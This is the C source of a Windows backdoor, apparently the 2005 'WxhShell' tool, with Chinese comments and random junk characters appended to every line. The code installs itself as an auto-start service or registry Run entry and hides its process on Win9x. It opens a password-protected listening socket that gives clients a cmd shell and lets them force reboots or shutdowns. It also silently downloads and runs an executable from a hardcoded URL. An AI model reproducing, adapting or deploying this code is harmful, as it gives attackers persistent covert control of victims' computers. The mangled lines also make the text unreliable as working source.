    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \XB,)XDB  
    if(Boot(SHUTDOWN)) "^$Ht`p[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; pBLmm*F  
    else { \7LL neq  
    closesocket(wsh); jv~#'=T'  
    ExitThread(0); F `:Q  
    } ,9ueHE  
    break; jo"nK,r  
    } ZvF#J_%gE5  
  // 获取shell w@-G_-6W  
  case 's': { %h ;oi/pe  
    CmdShell(wsh); oi0O4J%H  
    closesocket(wsh); !b`fykC  
    ExitThread(0); tQzbYzGb7  
    break; $R #_c}  
  } }` 3-  
  // 退出 'Q E8  
  case 'x': { 6E) T;R(@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 85# 3|5n  
    CloseIt(wsh); h:pgN,W}  
    break; 9q?knMt  
    } @~2k5pa  
  // 离开 ]B(}^N>WH  
  case 'q': { .K~V DUu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i}LQ}35@  
    closesocket(wsh); |E K6txRb  
    WSACleanup(); c= 2E/x?  
    exit(1); {@KLN<  
    break; :gRrM)n  
        } ;,U@zB;\%(  
  } a)2l9  
  } eW.qMx#:od  
_\4r~=`HQ  
  // 提示信息 z]g#2xD2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^'Lp<YJs6  
} xy>$^/[$  
  } Nkb%4ofKqu  
W\<OCD%X  
  return; `ci  P  
} W9gQho%9b  
mu0L_u(P  
// shell模块句柄 L' _%zO  
int CmdShell(SOCKET sock) q#Otp\f  
{ q:up8-LAr  
STARTUPINFO si; (Ajhf}zJ  
ZeroMemory(&si,sizeof(si)); EO'+r[Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u@Gum|_=N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J8FzQ2  
PROCESS_INFORMATION ProcessInfo; ,%m~OB #  
char cmdline[]="cmd"; dT1UYG}>j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \l(}8;5}  
  return 0; ++w{)Io Z  
} .))k  
*C)m#[#:u  
// 自身启动模式 $igMk'%Nmb  
int StartFromService(void) SN[yC  
{ Wsd_RT}ww  
typedef struct 56."&0  
{ ^38k xwh  
  DWORD ExitStatus; n}%_H4t  
  DWORD PebBaseAddress; 5Q}HLjG8Z  
  DWORD AffinityMask; F9w2+z.  
  DWORD BasePriority; P[`>*C\9c  
  ULONG UniqueProcessId; p^{yA"MQ  
  ULONG InheritedFromUniqueProcessId; f3,Xb ]h  
}   PROCESS_BASIC_INFORMATION; +7"UF) ~k  
T8LvdzS  
PROCNTQSIP NtQueryInformationProcess; kVWrZ>McK  
'#K~hep  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZnbpIJ8cV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %D7^.  
/ORK9 g  
  HANDLE             hProcess; V[44aN  
  PROCESS_BASIC_INFORMATION pbi; 2DZ&g\|  
YS9)%F=X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'bji2#z[  
  if(NULL == hInst ) return 0; $ ga,$G  
2Sy:wt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D_f :D^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K=sk1<>)m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  M+=q"#&  
' z^v}~  
  if (!NtQueryInformationProcess) return 0; ,=ju^_^sA  
Odt<WG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kYS\TMt,C  
  if(!hProcess) return 0; u8~5e  
l9 rN!Q|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Y3zO2Cr  
^SUo-N''  
  CloseHandle(hProcess); <p_2&& ?  
|<YF.7r;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q>=/u-  
if(hProcess==NULL) return 0; 48GaZ@v  
U$ZbBVa`~  
HMODULE hMod; $iy(+}  
char procName[255]; 6>d 3*   
unsigned long cbNeeded; [di&N!Ao  
]w8h#p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S@L%X<Vm  
=:RNpi,  
  CloseHandle(hProcess); :d~&Dt<c  
x6yO2Yo  
if(strstr(procName,"services")) return 1; // 以服务启动 ,l)AYu!q4F  
1kc{`oL  
  return 0; // 注册表启动 n u>6UjV  
} { 6*UtG  
n*=Tm KQ  
// 主模块 'xOH~RlE  
int StartWxhshell(LPSTR lpCmdLine) VDy_s8Z#  
{ 6 1K:SXj  
  SOCKET wsl; zt )WX9  
BOOL val=TRUE; ^6 ,}*@  
  int port=0; mc6W"  
  struct sockaddr_in door; s[*I210  
3V/|"R2s  
  if(wscfg.ws_autoins) Install(); y*sqnzgF  
OdJ=4 x>  
port=atoi(lpCmdLine); DV bY   
,Hc,]TPC4  
if(port<=0) port=wscfg.ws_port; ?7*J4.  
-uK@2} NZ  
  WSADATA data; u bi6=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gc!&I+kd  
'^t(=02J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2f0_Xw_V_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |i'w"Tz4  
  door.sin_family = AF_INET; Ef6LBNWY.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bk4|ik}  
  door.sin_port = htons(port); zU>bT20x/  
8x6{[Tx   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z@>WUw@ F  
closesocket(wsl); +3;[1dpgf  
return 1; <d hBO  
} =hKu85  
g>Kh? (  
  if(listen(wsl,2) == INVALID_SOCKET) { cNuBWLG  
closesocket(wsl); '~Gk{'Nx"  
return 1; {B\lk:"X  
} oth=#hfU^  
  Wxhshell(wsl); hrnY0  
  WSACleanup(); V^p XbDRl  
q/\Hh9`  
return 0; \E:l E/y  
2W`<P2IA  
} 6?jSe<4x  
WG*S:_?  
// 以NT服务方式启动 Q92hI"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Cr F(wVO"  
{ wo!;Bxo N  
DWORD   status = 0; "/U~j4O  
  DWORD   specificError = 0xfffffff; ,`l8KRd  
_;5N@2?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gNo}\ lm4V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V_7QWIdiy>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TYr"yZ([  
  serviceStatus.dwWin32ExitCode     = 0; fyt`$y_E[  
  serviceStatus.dwServiceSpecificExitCode = 0; N]@e7P'9F  
  serviceStatus.dwCheckPoint       = 0; 'WQ<|(:{  
  serviceStatus.dwWaitHint       = 0; |-k~Fa  
EPwM+#|e-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fxk6q$'  
  if (hServiceStatusHandle==0) return; J"RmV@|  
\rf2O s  
status = GetLastError(); Dmv@ljwO  
  if (status!=NO_ERROR) 0_-NE4SM/  
{ %Nm69j-5%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f<~S0[H  
    serviceStatus.dwCheckPoint       = 0; }>u<,  
    serviceStatus.dwWaitHint       = 0; (&Z`P  
    serviceStatus.dwWin32ExitCode     = status; })@LvYK  
    serviceStatus.dwServiceSpecificExitCode = specificError; MDKiwT@#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #~88[i-6  
    return; ,;wc$-Z!8  
  } f)K1j{TZ  
8a4&}^|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rY&Y58./  
  serviceStatus.dwCheckPoint       = 0; % 2lcc"'  
  serviceStatus.dwWaitHint       = 0; ('.r_F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (|<.7K N  
} vy330SQPo  
QZ51}i  
// 处理NT服务事件,比如:启动、停止 v5o@ls  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 86\B|!   
{ Arb-,[kwN  
switch(fdwControl) KFMEY\6\h  
{ J~vK`+Zs  
case SERVICE_CONTROL_STOP: !>5!Fb=Sy  
  serviceStatus.dwWin32ExitCode = 0; Z}'"c9oB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BAS3&fA  
  serviceStatus.dwCheckPoint   = 0; i^'Uod0d.  
  serviceStatus.dwWaitHint     = 0; j8Csnm0  
  { #/ Qe7:l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSu ]NOwe  
  } =-qv[;%& 6  
  return; lE?F Wt  
case SERVICE_CONTROL_PAUSE: Ug^v ]B9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hVcV_  
  break; M _z-~G  
case SERVICE_CONTROL_CONTINUE: +wwK#ocw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ` cgS yRD]  
  break; Ag`:!*  
case SERVICE_CONTROL_INTERROGATE: sy|{}NkA!  
  break; n3kYVAgF  
}; M6J/S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CL$mK5u  
} tCdgtZm  
:8~*NSEFd  
// 标准应用程序主函数 3[L)q2;}$N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jpCQ2XD:  
{ .Lk2S "+  
@9pk-BB^D  
// 获取操作系统版本 wb }W;C@  
OsIsNt=GetOsVer(); x-_!I>l&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kOGpe'bV  
_YH)E^If  
  // 从命令行安装 P:")Qb2  
  if(strpbrk(lpCmdLine,"iI")) Install(); {AY `\G  
e>kw>%3bl9  
  // 下载执行文件 `"E|  
if(wscfg.ws_downexe) { F_$K+6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =y/VrF.bV  
  WinExec(wscfg.ws_filenam,SW_HIDE); r$*p  
} 7='M&Za  
U9KnW]O%"  
if(!OsIsNt) { ,&sBa{0  
// 如果时win9x,隐藏进程并且设置为注册表启动 P==rY5+s`  
HideProc(); gn? ~y`  
StartWxhshell(lpCmdLine); UEJX0=  
} ,z?Re)q m  
else #n'tpp~O  
  if(StartFromService()) \DE`tkV8  
  // 以服务方式启动 j_?U6$xi  
  StartServiceCtrlDispatcher(DispatchTable); uL!{xuN  
else hNV" {V3`{  
  // 普通方式启动 g=;c*{  
  StartWxhshell(lpCmdLine); 7ST[XLwt%}  
TCSm#?[B  
return 0; u=I>DEe@ c  
} $ #C$V>  
) tGC&l+?/  
o(. PxcD  
JeJc(e  
=========================================== 7K`A2  
L44-: 3  
a<[@p  
R4"g? e  
1e;^Mz B"  
-, ~n|ceI  
" (d[)U<  
^z$-NSlI  
#include <stdio.h> MS6^= ["  
#include <string.h> {O6f1LuH  
#include <windows.h> J*8fGR%  
#include <winsock2.h> i8nCTW  
#include <winsvc.h> \)ac,i@fy  
#include <urlmon.h> ?EeHeN_  
n2R{$^JxO  
#pragma comment (lib, "Ws2_32.lib") }Y5Sf"~M  
#pragma comment (lib, "urlmon.lib") UKx91a}g  
Y XH9Q@Gn  
#define MAX_USER   100 // 最大客户端连接数 <BQ4x.[  
#define BUF_SOCK   200 // sock buffer S2" p(  
#define KEY_BUFF   255 // 输入 buffer .h^."+TJ  
A8OV3h6]  
#define REBOOT     0   // 重启 S*:b\{[f>  
#define SHUTDOWN   1   // 关机 ;""V s6  
;h3uMUCml  
#define DEF_PORT   5000 // 监听端口 [t /hjm"$  
g[j"]~  
#define REG_LEN     16   // 注册表键长度 <Ja>  
#define SVC_LEN     80   // NT服务名长度 ,k/*f+t  
p~28?lYv  
// 从dll定义API #zXkg[J6d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vcAs!ls+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k@AOE0m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R\+p`n$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nl7"|()e  
Fk>/  
// wxhshell配置信息 UR?[ba_h   
struct WSCFG { iwL\Ha  
  int ws_port;         // 监听端口 a[)in ,3  
  char ws_passstr[REG_LEN]; // 口令 'u$$scGt  
  int ws_autoins;       // 安装标记, 1=yes 0=no l?B\TA^  
  char ws_regname[REG_LEN]; // 注册表键名 lC.Yu$O5  
  char ws_svcname[REG_LEN]; // 服务名 @Q3aJ98)2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g^1M]1.f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <?,o {  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *;O$=PE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;*+jCL 2F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /+Xv( B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?T70C9  
y1/$dn  
}; A[Juv]X  
p,@_A'  
// default Wxhshell configuration u Y/Q]N T  
struct WSCFG wscfg={DEF_PORT, &`<j!xlG  
    "xuhuanlingzhe", 8(D>ws$  
    1, F`U%xn,  
    "Wxhshell", uU6+cDp  
    "Wxhshell", 7[:9vY  
            "WxhShell Service", DPi%[CRH  
    "Wrsky Windows CmdShell Service", ;]MHU/  
    "Please Input Your Password: ", $r9Sn  
  1, H(!)]dO  
  "http://www.wrsky.com/wxhshell.exe", @Wy>4B^  
  "Wxhshell.exe" T?)?"b\qz  
    }; :=^JHE{  
%? _pSH}$!  
// 消息定义模块 ) ]U-7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xe2Ap[Y'M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 29pIO]8;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +BM(0M+  
char *msg_ws_ext="\n\rExit."; qp_kILo~  
char *msg_ws_end="\n\rQuit."; IC/'<%k  
char *msg_ws_boot="\n\rReboot..."; O(h4;'/E  
char *msg_ws_poff="\n\rShutdown..."; X&t)S?eCos  
char *msg_ws_down="\n\rSave to "; 2Q)"~3  
rFSLTbTf  
char *msg_ws_err="\n\rErr!"; &2MW.,e7s  
char *msg_ws_ok="\n\rOK!"; (J][(=s;a  
wnP#.[,V  
char ExeFile[MAX_PATH]; <Jo_f&&{  
int nUser = 0; m ,)4k&d  
HANDLE handles[MAX_USER]; "kz``6C  
int OsIsNt; E:(flW=  
^:\|6`{n  
SERVICE_STATUS       serviceStatus; G#8HY VF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qn6Y(@<[  
f$NudG!S  
// 函数声明 D(s[=$zua  
int Install(void); k(><kuJ`3  
int Uninstall(void); U"A]b(54  
int DownloadFile(char *sURL, SOCKET wsh); 'AE)&56  
int Boot(int flag); %:N6#;l M  
void HideProc(void); vN-#Ej. u  
int GetOsVer(void); Zk)]=<H  
int Wxhshell(SOCKET wsl); M SoLx' <  
void TalkWithClient(void *cs); UC;_}>  
int CmdShell(SOCKET sock); b"t!nfgo  
int StartFromService(void); $VhUZGuG>  
int StartWxhshell(LPSTR lpCmdLine); ,;'9PsIS^  
v}IkY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ngcXS2S_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?3Se=7 k  
SY["dcx+  
// 数据结构和表定义 .:*V CDOM  
SERVICE_TABLE_ENTRY DispatchTable[] = nfq  
{ A}FEM[2  
{wscfg.ws_svcname, NTServiceMain}, ^* ^te+N  
{NULL, NULL} "?EA G  
}; Mje6Q  
d3+pS\&IX?  
// 自我安装 xpKD 'O=T  
int Install(void) !%_Z>a  
{ xXE/pIXw  
  char svExeFile[MAX_PATH]; PtCwr)B,  
  HKEY key; n@mWB UM  
  strcpy(svExeFile,ExeFile); d Ayof=  
bBc<yaN  
// 如果是win9x系统,修改注册表设为自启动 Bl2y~fCA  
if(!OsIsNt) { 5. 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :t8(w>oW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =M>1;Qr<Z/  
  RegCloseKey(key); D%N^iJC,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =2BGS\$#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iJk`{P_  
  RegCloseKey(key); z[B*sbS  
  return 0; QDRSQ[\  
    } ^!L'Ao y;E  
  } Ka&[ Oz<w  
} q%w\UAqA  
else { 3gaijVN  
N Q_H-D\,  
// 如果是NT以上系统,安装为系统服务 }xn\.M:ic  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V{p*N*  
if (schSCManager!=0) `=RJ8u  
{ Qa~o'  
  SC_HANDLE schService = CreateService 6&S;Nrg9  
  ( (n05MwKu\  
  schSCManager, D+]#qS1q  
  wscfg.ws_svcname, CDQ}C=4  
  wscfg.ws_svcdisp, YQvN;W  
  SERVICE_ALL_ACCESS, y~w2^VN=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w7$*J:{  
  SERVICE_AUTO_START, Q9H~B`\nQ  
  SERVICE_ERROR_NORMAL, D'F =v\P  
  svExeFile, f ."bq43(  
  NULL, ~C6d5\  
  NULL, ^\Nsx)Y;  
  NULL, //nR=Dy{  
  NULL, G4vXPx%a8  
  NULL A,{X<mLFb  
  ); 4pq@o  
  if (schService!=0) \?{nP6=  
  { %|}obiV)  
  CloseServiceHandle(schService); w,cfSF;=tC  
  CloseServiceHandle(schSCManager); cH?j@-pY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mdsn"Y V  
  strcat(svExeFile,wscfg.ws_svcname); U+F?b\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tI0d!8K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); abh='5H|^|  
  RegCloseKey(key); @cA`del  
  return 0; uIvy1h9m  
    } +!6aB|-  
  } m_\w)  
  CloseServiceHandle(schSCManager); yT%"<m6Y*\  
} 2`tdH|Z`  
} sy=M#WGS  
x*Y&s<  
return 1;  h%0/j  
} HpSmB[WF  
/L\ ]t  
// 自我卸载 ?Y7'OlO  
int Uninstall(void) _fx0-S*$  
{ '^)Ve:K-.  
  HKEY key; ")'o5V  
YjN2 ,Xi  
if(!OsIsNt) { WeNx9+2=Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dqMt6b\}  
  RegDeleteValue(key,wscfg.ws_regname); rxH*h`Xx@  
  RegCloseKey(key); +ntrp='7O7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~G|un}g=  
  RegDeleteValue(key,wscfg.ws_regname); 3^AycwNBA  
  RegCloseKey(key); .}n,  
  return 0; g+;)?N*j  
  } NWWag}  
} P0NGjS|Z{  
} ]#=43  
else { ~V&4<=r`  
<3C~<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l!CWE  
if (schSCManager!=0) NSH20$A<  
{ "~j SG7h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rqbX9M^  
  if (schService!=0) qI;"yG-x-  
  { g"vg {Q  
  if(DeleteService(schService)!=0) { 4lhoA  
  CloseServiceHandle(schService); M\O6~UFq!  
  CloseServiceHandle(schSCManager); tZ,vt7  
  return 0; jiQJ{yY  
  } #U45;idp  
  CloseServiceHandle(schService); eAKK uML  
  } m8'B7|s  
  CloseServiceHandle(schSCManager); I{Hl2?CnI,  
} y3l3XLI*b  
} i(P/=B  
1cPm $=B  
return 1; jY>|>]4X  
} ?&$??r^i  
V?AHj<  
// 从指定url下载文件 M,xhQ{eBY  
int DownloadFile(char *sURL, SOCKET wsh) !R*%F  
{ i(R&Q;{E^  
  HRESULT hr; q] g'rO'  
char seps[]= "/"; vJ5`:4n"  
char *token; +p6cG\Gp  
char *file; (qd$wv^ h  
char myURL[MAX_PATH]; [=M0%"  
char myFILE[MAX_PATH]; k[lYd k  
W:D'k^u  
strcpy(myURL,sURL); ^9*FYV  
  token=strtok(myURL,seps); EWuuNf  
  while(token!=NULL) xxxM  
  { N2:};a[ui5  
    file=token; `L p3snS  
  token=strtok(NULL,seps); XQL"D)fw  
  } #?%akQ+w  
KWtLrZ(j  
GetCurrentDirectory(MAX_PATH,myFILE); .w5#V|   
strcat(myFILE, "\\"); &"GHD{ix  
strcat(myFILE, file); @y:mj \J9  
  send(wsh,myFILE,strlen(myFILE),0); %-ih$ZY  
send(wsh,"...",3,0); l%"[857  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k^3 ?Z2a  
  if(hr==S_OK) ;%"YA  
return 0; c@u)m}V  
else `H+~LVH  
return 1; w5*?P4P  
me]O  
} Z-(#}(HD  
,Q|[Yr  
// 系统电源模块 V_Z~$  
int Boot(int flag) MgJiJ0y  
{ Mda~@)7$  
  HANDLE hToken; MQ;c'?!5[!  
  TOKEN_PRIVILEGES tkp; "0x"X w#I  
9_Tk8L#  
  if(OsIsNt) { 1Xy{&Ut\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qh}M!p2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P(?i>F7s  
    tkp.PrivilegeCount = 1; g7*cwu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z}bUvr XP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V9xZH5T8^  
if(flag==REBOOT) { *o]Q<S>lH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _nw=^zS  
  return 0; ERxA79  
} +N0V8T%~z.  
else { g1U   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `P1jg$(eA  
  return 0; 2yqm$i9C  
} A WlR" p2  
  } Oi{X \Y  
  else { y Q\K;  
if(flag==REBOOT) { {l&6= z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N<wy"N{iS  
  return 0; > Q1r^  
} cU}j Whu  
else { `>:ozN#)\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7{=<_  
  return 0; m~s.al(G91  
} !>XG$-$`Z  
} B ;Zsp  
6itp Mck  
return 1; J/(3: a>  
} ".+wz1  
Id8^6FLw  
// win9x进程隐藏模块 $Yfm>4  
void HideProc(void) 4>]^1J7Wz  
{ 3md yY\+&  
P;jl!o$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E<]l]?  
  if ( hKernel != NULL ) ?>47!):-*  
  { s=`1wkh0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }9T$XF~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G'c!82;,?  
    FreeLibrary(hKernel); ]p3hq1u3&  
  } U85t !U  
b~\gV_Z  
return; zo66=vE!  
} [uOW\)`  
,=KJ7zIK?  
// 获取操作系统版本 }N; c  
int GetOsVer(void) 9k.LV/Y  
{ @+A`n21,O  
  OSVERSIONINFO winfo; V^Wo%e7#u[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Alh"G6  
  GetVersionEx(&winfo); b6=.6?H@4f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k#k!AcC  
  return 1; 42:~oKiQ$"  
  else -L7Q,"a$  
  return 0; E"k\eZns&  
} C:/ca)  
Zab5"JR  
// 客户端句柄模块 Nt42v  
int Wxhshell(SOCKET wsl) *LJN2;  
{ BBw]>*  
  SOCKET wsh; "dwx;E  
  struct sockaddr_in client; ~ ar8e  
  DWORD myID; ,X6.p  
DmAMr=p  
  while(nUser<MAX_USER) *,1^{mb  
{ #p~tkQ:'1  
  int nSize=sizeof(client); yI\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * bmdY=#7  
  if(wsh==INVALID_SOCKET) return 1; K1RTAFf /  
2!/*I:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]dk44,EL  
if(handles[nUser]==0) j6Acd~y\2  
  closesocket(wsh); 7V?]Qif~  
else H~RWM'_  
  nUser++; 2&fIF}vk>m  
  } vW6Pf^yJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vf6lu)Z c1  
mJb>)bO l  
  return 0; Er} xB~<t  
} '/ 3..3k  
NwM=  
// 关闭 socket -WP_0  
void CloseIt(SOCKET wsh) UMUr"-l =  
{ * EOIgQp  
closesocket(wsh); reLYtv  
nUser--; /Kb7#uq  
ExitThread(0); 4A0R07"  
} e#L/  
7dI+aJ  
// 客户端请求句柄 Sj{z  
void TalkWithClient(void *cs) VR5$[-E3  
{ $Hqm 09w  
S:{hgi,T*  
  SOCKET wsh=(SOCKET)cs; [r_,BH\nu  
  char pwd[SVC_LEN]; VkFTIyt  
  char cmd[KEY_BUFF]; O?NAbxkp  
char chr[1]; lwPK^)|}  
int i,j; I"*g-ji0  
/HH5Mn*  
  while (nUser < MAX_USER) { (qHI>3tpY  
T#?KY  
if(wscfg.ws_passstr) { {y=H49  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2;.7c+r0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -fVeE<[  
  //ZeroMemory(pwd,KEY_BUFF); lY!`<_Am  
      i=0; l/;OC  
  while(i<SVC_LEN) { oH!sJ&"#_  
4 W}8?&T  
  // 设置超时 %b'ic  
  fd_set FdRead; ohusL9D  
  struct timeval TimeOut; 2H fP$.  
  FD_ZERO(&FdRead); wG2lCv`d  
  FD_SET(wsh,&FdRead); ON _uu]=  
  TimeOut.tv_sec=8; G\tTwX4  
  TimeOut.tv_usec=0; ]OZZPo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "?lirOD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yi%A*q~MT  
#B:J7&@fn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K^?yD   
  pwd=chr[0]; .z7X Ymv  
  if(chr[0]==0xd || chr[0]==0xa) { wIuwq>  
  pwd=0; sxJKu  
  break; w(n&(5FzB<  
  } y.5mYQA4=[  
  i++; N!m-gymmF  
    } <=n$oMO  
Ta?#o  
  // 如果是非法用户,关闭 socket 5+:b #B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +SkD/"5ng  
} ovzIJbf  
+pc_KR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C,z7f"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o\h[K<^>)  
kx3H}od]  
while(1) { zMt"ST.  
g"( vl-Uw  
  ZeroMemory(cmd,KEY_BUFF); Y'Sxehx  
?mS798=f  
      // 自动支持客户端 telnet标准   4JFi|oK0H  
  j=0; &M=12>ah]  
  while(j<KEY_BUFF) { Ki}PO`s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }qT @.  
  cmd[j]=chr[0]; fGb(=l  
  if(chr[0]==0xa || chr[0]==0xd) { IV_u f  
  cmd[j]=0; -N^}1^gA  
  break; Q bfm*JP~  
  } r0l ud&_9  
  j++; ~-lIOQ.v  
    } Tz+2g&+  
$&nF1HBI4  
  // 下载文件 =#n05*^  
  if(strstr(cmd,"http://")) { e"hm|'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yi&;4vC  
  if(DownloadFile(cmd,wsh)) V\%;S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;SeDxyKG  
  else @)m[: n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UP 1Y3  
  } ^i&/k  
  else { ?c"No|@+  
a-x8LfcbF  
    switch(cmd[0]) { l!Z>QE`.S  
  4O9HoX#-?  
  // 帮助 7xB#)o53  
